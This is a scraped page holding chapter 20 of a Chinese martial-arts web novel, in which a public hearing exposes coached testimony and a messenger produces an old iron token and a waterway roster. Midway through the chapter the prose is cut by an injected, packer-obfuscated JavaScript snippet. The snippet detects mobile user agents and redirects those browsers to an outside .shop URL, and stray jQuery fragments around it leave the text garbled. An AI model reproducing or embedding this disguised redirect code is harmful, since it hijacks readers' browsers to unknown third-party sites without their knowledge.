文趣网 > 都市小说 > 我与正道遗孤不能不算的旧账 > 20. 第二十章
    轿子被抬回前台时,栖霞台上的风比方才更急。

    旗幡被吹得猎猎作响,台下诸门弟子已经等得不耐。有人远远看见宗平缩在轿中,又看见乌衡押着灰衣人走来,议论声立刻像水一样漫开。

    “怎么回事?”

    “不是说宗平去静室歇着了吗?”

    “那灰衣人是谁?”

    宗平伏在轿里,脸色灰白,嘴唇还在抖。他不敢看人,枯瘦的手死死攥着轿帘,像那一层薄布能替他挡住满台目光。

    宗溯走在轿侧,手中剑还没有归鞘。山风吹过他的披风,衣袍贴在身上,显得人更瘦,也更冷。

    秦梁燕提枪走在最前。

    她没有急着说话。

    越是这样,台上反而越静。

    祝观澜站在主位前,目光先落到宗平身上,又移向明止。明止垂目合掌,脸上仍有一点佛门清寂的样子,只是指间那串佛珠拨得很慢,慢得像每一颗都硌手。

    宋鹤之先一步上前。

    “宗平为何会被带到后山偏门?”

    他问的是明止。

    明止道:“宗平老人受惊伤神,贫僧奉方丈之命,送他去寺中静养。”

    秦梁燕笑了一下,“祝盟主的意思是,静养到半路,正好有人来杀他?”

    这话一出,台下立刻乱起来,七嘴八舌。

    祝观澜抬手,声音才慢慢压下去。他看向被乌衡押着的灰衣人。

    “此人是谁?”

    秦梁燕道:“祝盟主问我?”

    乌衡一把将灰衣人推到前面。那人下颌被卸,不能咬毒,脸色青白,眼里却没什么活气,像一截从水里捞出来的枯木。

    秦梁燕用枪尖挑起那人的袖口。

    袖内一道极淡的灰线露了出来。

    “宗溯说,照微寺旧僧衣里,有这种线。”

    台下的视线齐齐转向照微寺。

    方丈佛珠未停,只低声道:“阿弥陀佛。江湖之大,衣料相似,不足为证。”

    秦梁燕点头。

    “所以我没说他一定是照微寺的人。”

    她枪尖一转,点向宗平。

    “我只说,方丈刚要送宗平静养,路上便有人来杀宗平。宗平还没死,方丈倒先替刺客开脱了。”

    方丈眼皮微抬,这一次,他没有立刻接话。

    秦梁燕走到轿前。

    宗平缩得更厉害,几乎要把自己藏进轿壁里。秦梁燕没有压低声音。

    “宗平,你方才说,那个人身上有沉灯坞铁牌。”

    宗平浑身一抖。

    秦梁燕道:“在这里,当着他们的面,再说一遍。”

    宗平看向祝观澜,又看向方丈。最后,他的目光落到宗溯脸上,像被什么烫了一下,立刻低下头。

    “我……我看见了。”

    台下一片哗然。

    “果然是沉灯坞!”

    “那还有什么可查?”

    “沉灯坞旧部入宗宅,宗氏血案难道还能有假?”

    乌衡眼神骤冷,手背青筋微微突起。

    秦梁燕却没有反驳。

    她只盯着宗平,“仔细说说,是什么样的铁牌?”

    宗平嘴唇发白。

    “黑的,旧的,边角磨得很厉害。他把孩子塞给我时,牌子从怀里掉出来过。我只看见一眼。”

    宗溯指尖慢慢收紧。

    他问:“那人怎么叫我?”

    宗平哆嗦着:“小满。”

    宗溯道:“再说。”

    宗平眼泪滚下来。

    “他叫你小满。他叫了好几声,说带他走,别回头。”

    台下的议论声忽然低了下去。

    因为这话不像杀人。

    一个杀红眼的沉灯坞凶徒,不会在满宅火光里抱着孩子,叫他的小名,让别人带他走。

    祝观澜终于开口:“秦少主,这至少说明,沉灯坞旧部当年确曾入宗宅。”

    秦梁燕转头看他。

    “是。”

    她应得太快,祝观澜也静了一瞬。

    秦梁燕道:“它说明沉灯坞的人入过宗宅。可它也说明,那个人把宗溯交给宗平时,宗溯还活着。”

    她向前一步。

    “祝盟主,你们说沉灯坞见人便杀。那这个右手少指的人,为什么不杀他?”

    祝观澜神色未变。

    “也许另有图谋。”

    “什么图谋?”

    “留下宗氏遗孤,日后挟持正道,混淆视听。”

    秦梁燕笑了。

    “二十年前留一个三岁孩子,等他被照微寺养大,再在今日混淆视听?”

    她转身看向台下。

    “这图谋真远。”

    台下几人脸色难看,却接不上话。

    宗溯低声道:“那个人后来去了哪里?”

    宗平哭着摇头。

    “我不知道。我真的不知道。火太大了,他塞给我以后又回去了。我抱着你跑,跑到后巷,后来就有人来接我。他们说,只要我说自己是宗家老仆,说是我从火里救了少爷,我就能活。”

    宗溯道:“谁接你?”

    宗平嘴唇抖着,眼神又往照微寺那边飘。

    方丈指间佛珠停了一下。

    很轻。

    秦梁燕却看见了。

    她道:“宗平,你不用看他们。”

    宗平僵住。

    秦梁燕的声音压得很平。

    “你看了,他们也未必救你。不然刚才那枚针,就不会冲着你的喉咙来。”

    宗平像被这句话抽空,肩膀一点点塌下去。

    宗溯看着他。

    那目光不凶,也不急,却比任何逼问都沉。

    宗平终于哽咽道:“我不知道名字。我只记得……他们穿着灰衣,袖口有线,像寺里的人。”

    台上一片死寂。

    明止开口:“荒唐。”

    宗平猛地缩了一下。

    明止道:“老人家药性未退,又受惊过度,竟把刺客衣饰与佛门混为一谈。”

    秦梁燕一枪点在地上。

    青石震了一声。

    “他清醒时说沉灯坞杀人,你们说他忠仆证言。他说照微寺有人教他,你们便说他药性未退。”

    她看向祝观澜。

    “祝盟主,原来证人的清醒,是看他说的话合不合你们心意?”

    祝观澜终于沉默。

    风卷起案上几页纸。宋鹤之伸手按住,指节微白。他看了宗平,又看了明止,眉心越压越紧。

    他信过祝观澜。

    也信过照微寺。

    可他不是瞎子。宗平被带走,灰衣人来杀证,明止话中处处遮掩,这些东西一件件落在他眼前,像有人硬把他按在一面镜子前,让他看清自己曾经维护的到底是什么。

    秦梁燕还要再问,台下忽然传来一声懒洋洋的笑。

    “这话问得好。”

    众人回头。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537106|203213||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>一个青衣人从人群后慢慢走上来,手里拎着一只旧木匣,衣摆沾了山路尘土,脸上却仍带着几分不合时宜的笑。

    秦梁燕眼神一动。

    “楼叔?”

    楼问津抬手同她打了个招呼。

    “少主,坞主让我送点东西上来。”

    乌衡皱眉:“你怎么来了?”

    楼问津道:“山下看门的说栖霞台规矩大,不让魔教闲人上山。我说我是来还旧物的,他们又说要通报。我等得犯困,只好自己走快些。”

    他说得轻巧,手背上却有一道新擦出的血痕,袖口也被剑锋划开了一点。

    秦梁燕看见了,没拆穿。

    楼问津走到台前,把木匣放到案上,轻轻一推。

    “方才在台下听了半日,说有人身上有沉灯坞旧铁牌。巧了。”

    他打开匣子。

    匣中躺着一枚黑色铁牌。

    边角磨得厉害,铁色沉暗,像在水里泡过许多年。正面是沉灯坞暗河旧纹,纹路已经有些模糊。

    乌衡呼吸骤然沉了。

    秦梁燕也走近一步。

    她认得这纹。

    沉灯坞暗河旧部的牌子,与如今刑堂、水路、药庐所用的令牌都不一样。那是很早以前的样式,铁料重,纹路深,拿在手里沉甸甸的,像一块从水底捞出来的夜色。

    楼问津将铁牌翻过来。

    背面刻着两个字。

    横波。

    宗溯看着那两个字,忽然觉得耳边风声远了。

    他不认得这个名字。

    可那两个字一落进眼里,他心口却像被什么沉沉撞了一下。

    宗平在轿中抬起头,看见那枚铁牌,整个人像被什么狠狠击中,嘴唇哆嗦着,只挤出一句:

    “是……就是这个。”

    台下哗然声再起。

    “卫横波?”

    “沉灯坞的人?”

    “那不还是坐实了?”

    楼问津收了笑。

    他看向祝观澜,又看向照微寺方丈。

    “卫横波,沉灯坞旧部,二十年前管暗河渡口。”

    有人立刻道:“暗河渡口,岂不是运送魔教余孽的路?”

    楼问津转头看了那人一眼。

    他眼里还带着笑,语气却凉得很。

    “你走过暗河?”

    那人一噎。

    “没走过,就闭嘴。”

    楼问津指尖按在那枚旧铁牌上,声音一点点沉下去。

    “卫横波管的不是杀人的路,是救人的路。”

    宗溯眼睫微动。

    救人的路。

    这个词落在他耳边,比方才“小满”两个字还轻,却像穿过了二十年的火和雪,终于落到他脚边。

    祝观澜缓缓道:“楼护法,沉灯坞自己说自己救人,未免太轻巧。”

    楼问津笑了笑。

    “祝盟主说得对。”

    他从袖中又取出一张折得很小的旧纸。

    纸边发黄,像曾经沾过水,又被人小心压平。楼问津将它放在铁牌旁边,指腹轻轻按住。

    “所以我还带了另一件东西。”

    秦梁燕看向他。

    楼问津没有立刻打开。

    他抬头看着祝观澜,唇边笑意淡了下去。

    “这是卫横波当年留下的最后一份水路名册。”

    风忽然停了一瞬。

    祝观澜按在案边的手指,极轻地收了一下。